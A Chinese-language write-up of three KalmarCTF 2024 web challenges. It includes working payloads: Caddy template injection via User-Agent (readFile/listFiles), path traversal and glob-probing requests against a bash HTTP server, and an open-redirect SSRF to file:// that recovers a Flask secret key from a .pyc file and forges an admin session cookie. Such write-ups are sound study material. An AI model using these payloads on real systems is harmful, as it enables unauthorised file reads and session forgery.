2024KalmarCTF-WEB复盘

前言:

靶场链接:https://kalmarc.tf/challenges

难度太大了根本写不出来
参考大佬的题解最后复盘出来的

原文链接:https://ireland.re/posts/KalmarCTF_2024/

复盘题解

Ez ⛳ v2

题目描述

Caddy webserver is AWESOME, using a neat and compact syntax you can do a lot of powerful things, e.g. wanna know if your browser supports HTTP3? Or TLS1.3? etc

Caddy web服务器非常棒,使用简洁紧凑的语法可以做很多强大的事情,例如,想知道你的浏览器是否支持HTTP3?或者TLS1.3?等等。

Flag is located at GET /$(head -c 18 /dev/urandom | base64) go fetch it.

Flag 位于GET /$(head -c 18 /dev/urandom | base64),去获取它吧。

附件:点击下载附件

解题思路

下载完打开附件包发现只有四个文件,Caddyfiledocker-compose.yml这两个中有比较有用的信息

docker-compose.yml中的关键信息

1
2
3
4
5
6
caddy:
image: caddy:2.7.6-alpine
volumes:
- ./Caddyfile:/etc/caddy/Caddyfile:ro
- ./flag:/wpqdDNHnYu8MZeclmpCr9Q:ro # FILE WILL BE RENAMED TO SOMETHING SIMILAR RANDOM ON PROD
# 文件将在生产环境中被重新命名为类似的随机名称

Caddyfile中为对Caddy的配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
(sec_headers) {
root * /
header {
Content-Security-Policy "default-src 'none'; frame-ancestors 'none'; base-uri 'none';"
Strict-Transport-Security "max-age=31536000"
X-XSS-Protection 0
X-Content-Type-Options nosniff
X-Frame-Options DENY
Referrer-Policy "no-referrer"
}
}

(html_reply) {
import sec_headers
header Content-Type text/html
templates
respond "<!DOCTYPE html><meta charset=utf-8><title>{http.request.host}</title><body>{args[0]}</body>"
}

(json_reply) {
templates {
# By default placeholders are not replaced for json
mime application/json
}
header Content-Type application/json
respond "{args[0]}"
}

(http_reply) {
tls internal {
alpn "{args[0]}"
}
map {args[0]} {proto_name} {
http/1.1 HTTP/1.1
h2 HTTP/2.0
h3 HTTP/3.0
}
@correctALPN `{http.request.proto} == {proto_name}`
respond @correctALPN "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
import html_reply "You are connected with {http.request.proto} instead of {proto_name} ({tls_version}, {tls_cipher}). <!-- Debug: {http.request.uuid}-->"
}

(tls_reply) {
tls internal {
protocols {args[0]} {args[1]}
}
header Access-Control-Allow-Origin "*"
import json_reply {"tls_version":"{tls_version}","alpn":"{http.request.tls.proto}","sni":"{http.request.tls.server_name}","cipher_suite":"{http.request.tls.cipher_suite}"}
}

mtls.caddy.chal-kalmarc.tf {
tls internal {
client_auth {
mode require
}
}
templates
import html_reply `You are connected with client-cert {http.request.tls.client.subject}`
}
tls.caddy.chal-kalmarc.tf {
import tls_reply tls1.2 tls1.3
}
tls12.caddy.chal-kalmarc.tf {
import tls_reply tls1.2 tls1.2
}
tls13.caddy.chal-kalmarc.tf {
import tls_reply tls1.3 tls1.3
}
ua.caddy.chal-kalmarc.tf {
tls internal
templates
import html_reply `User-Agent: {{.Req.Header.Get "User-Agent"}}`
}
http.caddy.chal-kalmarc.tf {
tls internal
templates
import html_reply "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
}
http1.caddy.chal-kalmarc.tf {
import http_reply http/1.1
}
http2.caddy.chal-kalmarc.tf {
import http_reply h2
}
http3.caddy.chal-kalmarc.tf {
import http_reply h3
}

caddy.chal-kalmarc.tf {
tls internal
import html_reply `Hello! Wanna know you if your browser supports <a href="https://http1.caddy.chal-kalmarc.tf/">http/1.1</a>? <a href="https://http2.caddy.chal-kalmarc.tf/">http/2</a>? Or fancy for some <a href="https://http3.caddy.chal-kalmarc.tf/">http/3</a>?! Check your preference <a href="https://http.caddy.chal-kalmarc.tf/">here</a>.<br/>We also allow you to check <a href="https://tls12.caddy.chal-kalmarc.tf/">TLS/1.2</a>, <a href="https://tls13.caddy.chal-kalmarc.tf/">TLS/1.3</a>, <a href="https://tls.caddy.chal-kalmarc.tf/">TLS preference</a>, supports <a href="https://mtls.caddy.chal-kalmarc.tf/">mTLS</a>? Checkout your <a href="https://ua.caddy.chal-kalmarc.tf/">User-Agent</a>!<!-- At some point we might even implement a <a href="https://flag.caddy.chal-kalmarc.tf/">flag</a> endpoint! -->`
}

对于没用接触过的Caddy的我只能去官方文档看看其中的配置文件所代表的含义 查了下发现还有中文文档哈哈哈哈哈哈哈哈哈哈

链接:Caddy v2中文文档 (dengxiaolong.com)

不懂的就半查半猜,问问狗屁通,然后有个初步的理解:

Caddy中存在一个概念:片段

1
2
3
(指令名){
具体的指令内容
}

例如:

1
2
3
4
5
6
(html_reply) {
import sec_headers
header Content-Type text/html
templates
respond "<!DOCTYPE html><meta charset=utf-8><title>{http.request.host}</title><body>{args[0]}</body>"
}

片段类似于我们熟悉的概念:函数,可以在被调用

在任何你需要的地方重复使用它:

1
import 指令名

由一对花括号完成的:

1
2
3
... {
...
}

花括号前写所服务的域名,花括号后填写对应的指令

此外在片段中有一个特别的指令templates-模板,类似于python中的Jinja2模板引擎,进行实时渲染

对应的官方文档:Module http.handlers.templates - Caddy Documentation (caddyserver.com)

根据templates对应的语法规则({{指令}})尝试能不能和Python一样进行模板注入

由于修改UA(User-Agent)比较方便,所以我选择了ua.caddy.chal-kalmarc.tf,将UA修改为{{7*7}}发现服务端返回了500错误,发现这个思路应该是有戏,修改为{{.Host}}发现最后页面返回了User-Agent: ua.caddy.chal-kalmarc.tf,发现确实可以进行类似模板注入的操作,而官方文档中有两个可以让我们读到flag的指令

1.readFile

Reads and returns the contents of another file, as-is. Note that the contents are NOT escaped, so you should only read trusted files.
按原样读取并返回另一个文件的内容。请注意,内容不会被转义,因此您应该只读取受信任的文件。

1
{{readFile "path/to/file.html"}}

2.listFiles

Returns a list of the files in the given directory, which is relative to the template context’s file root.
返回给定目录中的文件列表,该列表相对于模板上下文的文件根目录。

1
{{listFiles "/mydir"}}

因此我们修改UA为{{listFiles "/"}}获得flag的文件名: CVGjuzCIVR99QNpJTLtBn9

然后再修改UA为{{readFile "/CVGjuzCIVR99QNpJTLtBn9"}},最后成功获取flag:

kalmar{Y0_d4wg_I_h3rd_y0u_l1k3_templates_s0_I_put_4n_template_1n_y0ur_template_s0_y0u_c4n_readFile_wh1le_y0u_executeTemplate}

BadAss Server for Hypertext

强悍的超文本服务器

题目描述

I wrote my own HTTP server. I have to admit: the code is a bit cursed, but it works! So no problem, right?

我自己写了一个HTTP服务器。我必须承认:代码有点诡异,但是它能正常工作!所以没问题,对吗?

前置知识

  • /proc目录以及子目录的功能及其作用
  • shell语言
  • 通配符

解题思路

这是一个黑盒测试,点击题目链接后发现就一个按钮可以交互

image-20240324151813152

点击这个按钮,跳转到http://chal-kalmarc.tf:8080/assets/26c3f25922f71af3372ac65a75cd3b11/iceberg.jpg,没用任何信息。查看初始页面的源码发现被隐藏了另一个按钮

1
2
3
<!-- <a href="assets/f200d055a267ae56160198e0fcb47e5f/try_harder.txt">
<button>Get the flag</button>
</a> -->

再次点进去,发现就一句话:Did you think it was this easy? Nah, this isn't the flag.

也没什么实际的价值点(其实后面这两个东东会被利用到),然后就是无头无脑的不断尝试了robots.txt、抓包再发包

这个过程中发现了一个比较有趣的,响应头中存在这样一个键值:X-Powered-By: Bash,shell语言做后端??

发现随便输入一个内容到url后如果不存在会输出为:cat: /app/static/1: No such file or directory,可以大胆推测后端为shell语言了

然后我就开始怀疑是不是有目录创越的漏洞存在了,拦截请求包转到BP进行改包(浏览器的url中直接输入..会被删除,而并不会直接传会后端)将url修改为/../../../../../etc/passwd,返回包中出现了passwd中对应的内容

image-20240324153600061

逻辑漏洞1:

发现目录穿越漏洞确实存在,可以尝试直接读一下/flag发现根目录下不存在flag文件,那就只能进/proc目录找找对应的进程和运行目录了,一般读取1进程(一般赛题docker中最初的线程号为1)和self进程(当前指令所属的进程),一通乱尝试cmdlineenvironstatus等等发现了一些有用的东西

/../../../../../proc/1/cmdline尝试读取后端的运行程序

1
2
3
4
5
6
7
HTTP/1.0 200 OK
Content-Type: inode/x-empty
X-Powered-By: Bash
Content-Length: 0
Connection: close

socat TCP4-LISTEN:8080,reuseaddr,fork EXEC:/app/badass_server.sh

此时我们可以找到我们的后端所属的脚本文件,我们再将它读取出来,尝试看看源码中是否存在漏洞。读取到的源码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/bin/bash

# I hope there are no bugs in this source code...

set -e

declare -A request_headers
declare -A response_headers
declare method
declare uri
declare protocol
declare request_body
declare status="200 OK"

abort() {
declare -gA response_headers
status="400 Bad Request"
write_headers
if [ ! -z ${1+x} ]; then
>&2 echo "Request aborted: $1"
echo -en $1
fi
exit 1
}

write_headers() {
response_headers['Connection']='close'
response_headers['X-Powered-By']='Bash'

echo -en "HTTP/1.0 $status\r\n"

for key in "${!response_headers[@]}"; do
echo -en "${key}: ${response_headers[$key]}\r\n"
done

echo -en '\r\n'

>&2 echo "$(date -u +'%Y-%m-%dT%H:%M:%SZ') $SOCAT_PEERADDR $method $uri $protocol -> $status"
}

receive_request() {
read -d $'\n' -a request_line

if [ ${#request_line[@]} != 3 ]; then
abort "Invalid request line"
fi

method=${request_line[0]}

uri=${request_line[1]}

protocol=$(echo -n "${request_line[2]}" | sed 's/^\s*//g' | sed 's/\s*$//g')

if [[ ! $method =~ ^(GET|HEAD)$ ]]; then
abort "Invalid request method"
fi

if [[ ! $uri =~ ^/ ]]; then
abort 'Invalid URI'
fi

if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then
abort 'Invalid protocol'
fi

while read -d $'\n' header; do
stripped_header=$(echo -n "$header" | sed 's/^\s*//g' | sed 's/\s*$//g')

if [ -z "$stripped_header" ]; then
break;
fi

header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');

if [ -z "$header_name" ] || [[ "$header_name" =~ [[:space:]] ]]; then
abort "Invalid header name";
fi

# If header already exists, add value to comma separated list
if [[ -v request_headers[$header_name] ]]; then
request_headers[$header_name]="${request_headers[$header_name]}, $header_value"
else
request_headers[$header_name]="$header_value"
fi
done

body_length=${request_headers["content-length"]:-0}

if [[ ! $body_length =~ ^[0-9]+$ ]]; then
abort "Invalid Content-Length"
fi

read -N $body_length request_body
}

handle_request() {
# Default: serve from static directory
path="/app/static$uri"
path_last_character=$(echo -n "$path" | tail -c 1)

if [ "$path_last_character" == '/' ]; then
path="${path}index.html"
fi

if ! cat "$path" > /dev/null; then
status="404 Not Found"
else
mime_type=$(file --mime-type -b "$path")
file_size=$(stat --printf="%s" "$path")

response_headers["Content-Type"]="$mime_type"
response_headers["Content-Length"]="$file_size"
fi

write_headers

cat "$path" 2>&1
}

receive_request
handle_request

由于是shell语言这里我想到了一些shell中的一些骚操作例如:

1
2
3
${变量名}  #会将变量的值进行拓展出来
$(命令) #会执行()中的命令
`命令` #会执行` `中的命令
拓展:shell语言中的部分特性

特性1:展开

按照展开顺序分为:

  1. 花括号展开(Brace Expansion):
    花括号展开可以用来生成一系列具有相似结构的字符串。例如,使用花括号展开可以生成一组文件名或者一组命令参数。

示例:

1
2
3
4
5
$ echo {a,b,c}
a b c

$ echo file{1..3}.txt
file1.txt file2.txt file3.txt
  1. 波浪线展开(Tilde Expansion):
    波浪线展开用于扩展波浪线后面的特殊字符,通常用于表示用户的主目录路径。

示例:

1
2
3
4
5
$ echo ~
/home/username

$ echo ~/Documents
/home/username/Documents
  1. 参数,变量,算术展开和命令替换:
    参数展开用于访问脚本或函数的参数,变量展开用于展开变量的值,算术展开用于进行数学运算,而命令替换用于将命令的输出作为展开结果。

示例:

1
2
3
4
5
6
7
8
$ echo $HOME
/home/username

$ echo $((2 + 2))
4

$ echo $(ls)
file1.txt file2.txt file3.txt
  1. 单词分割(Word Splitting):
    单词分割用于将字符串按照特定的分隔符进行拆分,常见的分隔符包括空格、制表符和换行符。

示例:

1
2
3
4
5
6
7
$ string="Hello World"
$ echo $string
Hello World

$ for word in $string; do echo $word; done
Hello
World
  1. 文件名展开(Filename Expansion):
    文件名展开用于匹配文件系统中的文件名模式,常见的通配符包括星号(*)和问号(?)。

示例:

1
2
3
4
$ ls *.txt
file1.txt file2.txt file3.txt

$ rm file?.txt

特性2:单双引号的区别

  • 单引号:

    使用单引号,单引号中的内容一律被视为字符串,不进行转义,无法被扩展,${}$()、反引号、通配符无法被使用

    例如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    root@ubuntu:/home/ubuntu/Desktop# echo /*
    /app /bin /boot /cdrom /dev /etc /home /lib /lib32 /lib64 /libx32 /lost+found /media /mnt /opt /proc /root /run /sbin /snap /srv /swapfile /sys /tmp /usr /var

    #通配符不会展开
    root@ubuntu:/home/ubuntu/Desktop# echo '/*'
    /*


    root@ubuntu:/home/ubuntu/Desktop# echo '$(date)'
    $(date)
  • 双引号:

    • 变量展开:双引号内的变量会被展开,即变量的值会替换变量本身。
    • 命令替换:双引号内的命令替换(使用$()或反引号``)会被执行,其输出会替换命令本身。
    • 通配符不会展开:双引号内的通配符(如*?等)不会被作为通配符处理,而是作为普通字符。
    • 转义字符:某些特殊字符(如$反引号\)可以通过反斜线进行转义以表示其字面意义。

    例如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    #变量展开
    root@ubuntu:/home/ubuntu/Desktop# path="*"
    root@ubuntu:/home/ubuntu/Desktop# echo "${path}"
    *

    #命令替换
    root@ubuntu:/home/ubuntu/Desktop# echo "$(date)"
    2024年 03月 24日 星期日 16:55:37 CST

    #通配符不会展开
    root@ubuntu:/home/ubuntu/Desktop# echo "*"
    *

特性3:变量展开后的字符串

1.进行变量展开后,通配符不受 展开前单双引号性质的影响

​ 只要最后使用变量时,最外层不存在""即可展开

例如

1
2
3
4
5
6
7
8
9
10
11
#test1
path='*'
path_after="./*"
echo $path_after #变量替换后,最外层也无""的影响,此时通配符*可被展开
#输出结果:./badass_server.sh ./character1.sh ./character2.sh

#test2
path='*'
path_after="./$path"
echo ”$path_after“ #变量替换后,最外层存在""的影响,通配符无法展开
#输出结果: ./*

2.进行变量展开后,变量展开、命令替换受最开始赋值时的单双引号影响

​ 若最开始时使用单引号,无论最后使用变量时,最外层存不存在引号,都无法被展开

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#test1
path='$(date)'
path_after="./$path"
echo $path_after
path_after_after=$path_after
echo $path_after_after
# 输出结果:
# ./$(date)
# ./$(date)

#test2
data= date
echo $data
path='${data}'
path_after="./$path"
echo $path_after
path_after_after=$path_after
echo $path_after_after
# 输出结果:
# Sun Mar 24 21:29:51 2024
# ./${data}
# ./${data}

但经过尝试,发现无法通过控制$path这个值变为${}使最后的cat返回命令替换的结果

预想结果(可以通过cat的报错获取信息,如果这种办法可行剩下的只是空格的绕过):

1
2
3
4
root@ubuntu:/home/ubuntu/Desktop# url=$(ls)
root@ubuntu:/home/ubuntu/Desktop# path="app/static/$url"
root@ubuntu:/home/ubuntu/Desktop# cat "$path"
cat: 'app/static/1.sh'$'\n''2': 没有那个文件或目录

实际结果

image-20240324193741286

拓展:shell语言中的部分特性

特性4:read命令处理字符串

使用read命令来读取输入的字符串时,所读取的字符串相当于被单引号包围,具有单引号包裹的字符串的特点

  • 变量不展开:单引号内的内容都会被当作普通字符串处理,包括变量,它们不会被展开。
  • 命令不替换:单引号内的命令不会被执行,即使使用$()或反引号``。
  • 通配符不展开:单引号内的通配符同样不会被展开,被视为普通文本。
  • 转义字符不工作:单引号内几乎所有的字符都被视为普通字符,包括反斜线(\),它不具有转义功能。

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
#test1
read -d $'\n' -a request_line
method=${request_line[0]}
echo $method
#输入:$(ls) $(ls) $(ls)
#输出:$(ls)


#test2
request_line=("$(ls)" "$(ls)")
method=${request_line[0]}
echo $method
#输出:badass_server.sh bash.md

此时发现我们可控点只剩下$protocol变量

1
2
3
4
protocol=$(echo -n "${request_line[2]}" | sed 's/^\s*//g' | sed 's/\s*$//g') 
if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then
abort 'Invalid protocol'
fi

逻辑漏洞2:

可控原因$protocol变量由于使用echo命令,是得read读取后的特性消失,使得$protocol可被拓展

当我们尝试修改HTTP/1.1/*时,发现并没有出现Invalid protocol

拓展:shell语言中的部分特性

特性4:[]的返回值

在 shell 中,[] 符号通常用于条件测试。如 if [ CONDITION ]; then ... 这样的语句。在这种用法中,[][ 命令的简写,这实际上是一个指向 test 命令的链接。因此,当你使用 [] 时,实际上是在调用 test 命令来评估一个条件。

test 命令(或其等价的 [ 形式)的返回值遵循 shell 命令的通用返回值约定:

  • 0:表示测试的条件为真(true)
  • 1:表示测试的条件为假(false)。。
  • >1:如果出现错误,如语法错误或使用了无效的选项,test 命令可能会返回大于 1 的值。比较特别的是,此时即使设置了set -e也不会退出程序

逻辑漏洞3:

HTTP/1.1替换为/*时,由于通配符展开,最后会出现进行匹配错误,[]返回大于1的结果,&&的两侧结果都是大于0,返回1,因此认为是假,此时这个if条件被判定为假,可以继续执行后面内容的代码

但如果/*匹配到的结果只有一个时,并不会造成匹配错误,而直接返回0,&&的任意一侧结果为0会直接返回0,此时这个if条件被判定为真

启动set -x时的详细信息如下

1
2
+ '[' badass_server.sh bash.md character1.sh character2.sh file '!=' HTTP/1.0 ']'
./badass_server.sh: line 63: [: too many arguments

注意:此时通配符展开并不能认为这个变量是数组,数组直接使用会利用数组第0个进行匹配,而通配符展开会报错

因此我们可以通过这个点,使用glob通配符[]写入一个已知的字符,不断修改字符,使其最后能匹配到的结果最后有1个以上,页面不出现:Invalid protocol,进行对目录或者文件名的一步一步匹配(用这种方法可以确定名称比已知目录少的目录名)

最初的页面给出了两个目录,需要利用这两个目录,选择一个目录作为已知字符

1
2
3
4
5
6
<a href="assets/26c3f25922f71af3372ac65a75cd3b11/iceberg.jpg">
<button>Explore the iceberg</button>
</a>
<!-- <a href="assets/f200d055a267ae56160198e0fcb47e5f/try_harder.txt">
<button>Get the flag</button>
</a> -->

26c3f25922f71af3372ac65a75cd3b11作为已知字符为例,所以最后的playload的过程为:

1
2
3
4
GET /../../../../../../etc/passwd /app/static/assets/[29]*
GET /../../../../../../etc/passwd /app/static/assets/[29][6d]*
GET /../../../../../../etc/passwd /app/static/assets/[29][6d][cf]*
........

最后找到隐藏的目录, 9df5256fe48859c91122cb92964dbd66

估计最后是猜的吧,flag最后的位置是:/app/static/assets/9df5256fe48859c91122cb92964dbd66/flag.txt

修改url为../../../../../app/static/assets/9df5256fe48859c91122cb92964dbd66/flag.txt读出kalmar{17b29adf_bash_web_server_was_a_mistake_374add33}

Is It Down

它是否宕机

题目描述

In an increasingly online world it is nice to know, if you are the only one being offline or if everybody else are having offline too.

在一个日益在线化的世界中,了解自己是唯一离线还是其他人也处于离线状态是很重要的。

We present to you: Is it down!

我们向您介绍:它是否宕机!

Rumour has it, that a flag is stored somewhere on this server.

有传言称,一个标志位被存储在这台服务器的某个地方。

前置知识

  • /proc目录以及子目录的功能及其作用
  • Python语言及特性
  • __pycache__文件夹

解题思路

同样的这也是一个黑盒测试,看了看页面发现并没有什么提示,可以根据自己的输入的网址进行判断,网址是否在线或者离线

image-20240324232149397

直接抓包然后repeat看看

image-20240324223950122

会发现页面出现了我们输入网页的源代码,相关的漏洞应该就是SSRF

尝试直接使用file:///etc/passwd试试看,发现页面回显出了

1
{"error":"Url must start with 'https://'. We do not want anything insecure here!","success":false}

发现只能使用https://开头的链接(是我应该就在这卡住了

根据大佬的思路,我们可以尝试一个发生重定向的网址, 无语啦 。。。。。。。。好麻烦,还得自己起个https服务

根据实际的测试发现

  • 如果输入的链接网页存在任何内容,不会跟随着网页重定向
  • 如果输入的链接网页不存在任何内容,此时会跟随着网页重定向

例如:

我们输入网址的响应包为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Sun, 24 Mar 2024 15:00:50 GMT
Content-Type: text/html
Content-Length: 162
Connection: close
Location: https://t.doruo.cn/14Qqfhjr2

<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx</center>
</body>
</html>

此时,不跟随重定向,返回的内容为

1
{"content":"<html>\\r\\n<head><title>301 Moved Permanently</title></head>\\r\\n<body bgcolor=\"white\">\\r\\n<center><h1>301 Moved Permanently</h1></center>\\r\\n<hr><center>openresty</center>\\r\\n</body>\\r\\n</html>\\r\\n","online":true,"success":true}

我们自己起一个后端服务,为了随时更改重定向内容,我们可以设置代码为以下

1
2
3
<?php
error_reporting(0);
header("Location: ".$_GET['wells']);

此时我们使用这个服务,并输入参数?wells=file:///etc/passwd,发现页面返回出来了passwd的文件内容

1
{"content":"root:x:0:0:root:/root:/bin/ash\\n.........","online":true,"success":true}

此时再次利用/proc目录进行尝试找到后端服务的文件夹位置以及所对应的运行程序

/proc/1/cmdline尝试读取后端的运行程序的相关信息uwsgi\\x00--ini\\x00/etc/uwsgi/uwsgi-custom.ini\\x00,可以猜到此时的后端应该是flask,然后再顺藤摸瓜进入到/etc/uwsgi/uwsgi-custom.ini读取配置信息:(美化后)

1
2
3
4
5
6
7
8
9
10
11
12
[uwsgi]
uid = www-data
gid = www-data
master = true
processes = 4
http-socket = 0.0.0.0:5000
chmod-sock = 664
vacuum = true
die-on-term = true
wsgi-file = /var/www/keep-dreaming-sonny-boy/app.py
callable = app
pythonpath = /usr/local/lib/python3.11/site-packages

比较重要的信息是:wsgi-file = /var/www/keep-dreaming-sonny-boy/app.py,然后继续顺藤摸瓜找到对应的后端文件读出出来,因为经过了json的转化,变得无敌难看,让狗屁通美化一下最后得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from flask import Flask, request, send_from_directory, session, abort
from requestlib import fetch
from config import session_encryption_key
import subprocess, os

def protect_secrets():
os.unlink("config.py")

def check_url(url):
if not isinstance(url, str) or len(url) == 0:
return False, "Please provide a regular url!"

if not url.startswith("https://") or url.lstrip() != url:
return False, "Url must start with 'https://'. We do not want anything insecure here!"

return True, ""

app = Flask(__name__, static_folder='static', static_url_path='/assets/')
app.secret_key = session_encryption_key

print("Using key: ", app.secret_key)

protect_secrets()

@app.route('/', methods=['GET'])
def home():
return send_from_directory('pages', 'index.html')

@app.route('/flag', methods=['GET'])
def healthcheck():
if session.get("admin") == True: #
return subprocess.check_output("/readflag")
else:
return abort(403)

@app.route('/check', methods=['POST'])
def check():
url = request.form.get("url")
valid, err = check_url(url)

if not valid:
return {
'success': False,
'error': err
}

if True:
content = fetch(url)
return {
'success': True,
'online': content != None,
'content': content
}

if __name__ == "__main__":
app.run(host='0.0.0.0', port=10600, debug=False)

但是这里面requestlib库文件是我们安装不了的,尝试直接读取一下requestlib.py查看是不是自己写的库,同样的也是读到了这个文件,经过美化后如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from urllib.request import urlopen, HTTPErrorProcessor, build_opener, Request
import urllib

class NoRedirection(HTTPErrorProcessor):
def http_response(self, request, response):
return response

https_response = http_response

install_opener(build_opener(NoRedirection()))

def fetch(url, follow_redirects=True):
'''
Avoid endless redirect loops
'''
headers = {
"User-Agent": "requestlib 2.9-alpha"
}
req = Request(url, headers=headers)
with urlopen(req) as res:
redirect_url = res.headers.get("Location"))
if redirect_url and follow_redirects:
return fetch(redirect_url, follow_redirects=False)

return str(res.read())[2:-1]

漏洞成因

在定义的fetch函数中follow_redirects值默认为True,并且跟随响应包中的Location键值进行判断是否存在重定向,重定向的目标是何。但由于只限制了第一次输入的网址为https://,并未进行对重定向的协议进行检查从而造成了SSRF

如何处理重定向

注意:

如浏览器,powershell中的curl再处理重定向时,无法处理从https://重定向至file://

powershell中的curl发生报错

3f38953983e9ec433be5d50aee943d1f

浏览器会提示页面错误

4fb256abd0148e6f540cc518868c64bb

做到这里,关键其实是为造出一个session,其键值存在admin: True,但存有session_encryption_keyconfig.py再被调用后就被删除了,需要找到如何复原的办法

1
2
3
4
5
6
@app.route('/flag', methods=['GET'])
def healthcheck():
if session.get("admin") == True: #
return subprocess.check_output("/readflag")
else:
return abort(403)

__pycache__文件夹

在Python工作目录下,如果执行某文件后经常会自动生成一个__pycache__文件夹。__pycache__文件夹正是缓存*.pyc地方。*.pyc文件的命名格式是<module>.<interpreter_version>.pyc注意,对于被导入(import)的module才会生成对应的*.pyc文件

详细文档可参考:

【Python】__pycache__文件夹是什么东西? - 知乎 (zhihu.com)

pyhton中__pycache__文件夹的产生与作用_pycache文件夹下的东西是如何产生的-CSDN博客

例子:

以被导入的为config.py文件为例,最后生成在__pycache__文件夹config.cpython-35.pyc,最开始的config为被导入的文件名,cpython代表的是c语言实现的Python解释器,-35代表的是版本为3.5版。

因此,我们可以在__pycache__文件夹中找到config的.pyc文件,再进行逆向

最后测试到路径为:/var/www/keep-dreaming-sonny-boy/__pycache__/config.cpython-311.pyc,里面的内容为:

1
\\xa7\\r\\r\\n\\x00\\x00\\x00\\x00\\x86\\x84\\xf7e;\\x00\\x00\\x00\\xe3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf3\\n\\x00\\x00\\x00\\x97\\x00d\\x00Z\\x00d\\x01S\\x00)\\x02\\xda Rm7GbQJ4uDikyiis6miD7YwsN11rEjfLN)\\x01\\xda\\x16session_encryption_key\\xa9\\x00\\xf3\\x00\\x00\\x00\\x00\\xfa*/var/www/keep-dreaming-sonny-boy/config.py\\xfa\\x08<module>r\\x07\\x00\\x00\\x00\\x01\\x00\\x00\\x00s\\x11\\x00\\x00\\x00\\xf0\\x03\\x01\\x01\\x01\\xd8\\x19;\\xd0\\x00\\x16\\xd0\\x00\\x16\\xd0\\x00\\x16r\\x05\\x00\\x00\\x00

由于转化为json后转义字符\会变成\\,叫狗屁通写一个小小的脚本把以上数据恢复成二进制数据

1
2
3
4
5
6
7
8
9
data_str = """
\\xa7\\r\\r\\n\\x00\\x00\\x00\\x00\\x86\\x84\\xf7e;\\x00\\x00\\x00\\xe3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf3\\n\\x00\\x00\\x00\\x97\\x00d\\x00Z\\x00d\\x01S\\x00)\\x02\\xda Rm7GbQJ4uDikyiis6miD7YwsN11rEjfLN)\\x01\\xda\\x16session_encryption_key\\xa9\\x00\\xf3\\x00\\x00\\x00\\x00\\xfa*/var/www/keep-dreaming-sonny-boy/config.py\\xfa\\x08<module>r\\x07\\x00\\x00\\x00\\x01\\x00\\x00\\x00s\\x11\\x00\\x00\\x00\\xf0\\x03\\x01\\x01\\x01\\xd8\\x19;\\xd0\\x00\\x16\\xd0\\x00\\x16\\xd0\\x00\\x16r\\x05\\x00\\x00\\x00
"""
# 将字符串中的转义序列转换为相应的二进制数据
binary_data = bytes(data_str, "utf-8").decode("unicode_escape").encode("latin1")

# 保存到文件
with open("output_binary_data.txt", "wb") as file:
file.write(binary_data)

.pyc文件的逆向在网上就很多在线的工具可以进行使用,逆向后得到

1
2
3
4
5
6
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.11

session_encryption_key = 'Rm7GbQJ4uDikyiis6miD7YwsN11rEjfL'

再使用session伪造工具flask-session-cookie-manager为造出一个session出来,指令为:

1
python flask_session_cookie_manager3.py encode -s 'Rm7GbQJ4uDikyiis6miD7YwsN11rEjfL' -t "{'admin':True}"

最后得到伪造的session所对应的cookie为:eyJhZG1pbiI6dHJ1ZX0.ZgBMeg.t2OWSLBvEeZpMPUZNBFFcmsFS-o,手动填入浏览器中,并访问/flag

4ac0b231a81aeef5ed48fde37b6f6650

最后得到flag:kalmar{Rem3Mbr_T0_fl0sh!}

查看Wells的丢人过程

我想着不是伪造出session最后的结果时运行/readflag这个可执行文件,便尝试读取了一下,转化为二进制,再发给逆向的同学看看能不能找出flag位于哪里命名为什么直接读取出来

也确实逆向出来,找到了flag的位置以及名称

3e0b6376b99ca459bfbfb08201947ec8

但出题人也估计想到了这一点,位于flag.txt设置了权限,没法被直接读取出来。。。。。。。

跪谢逆向的同学:L0SJ0K

参考文章: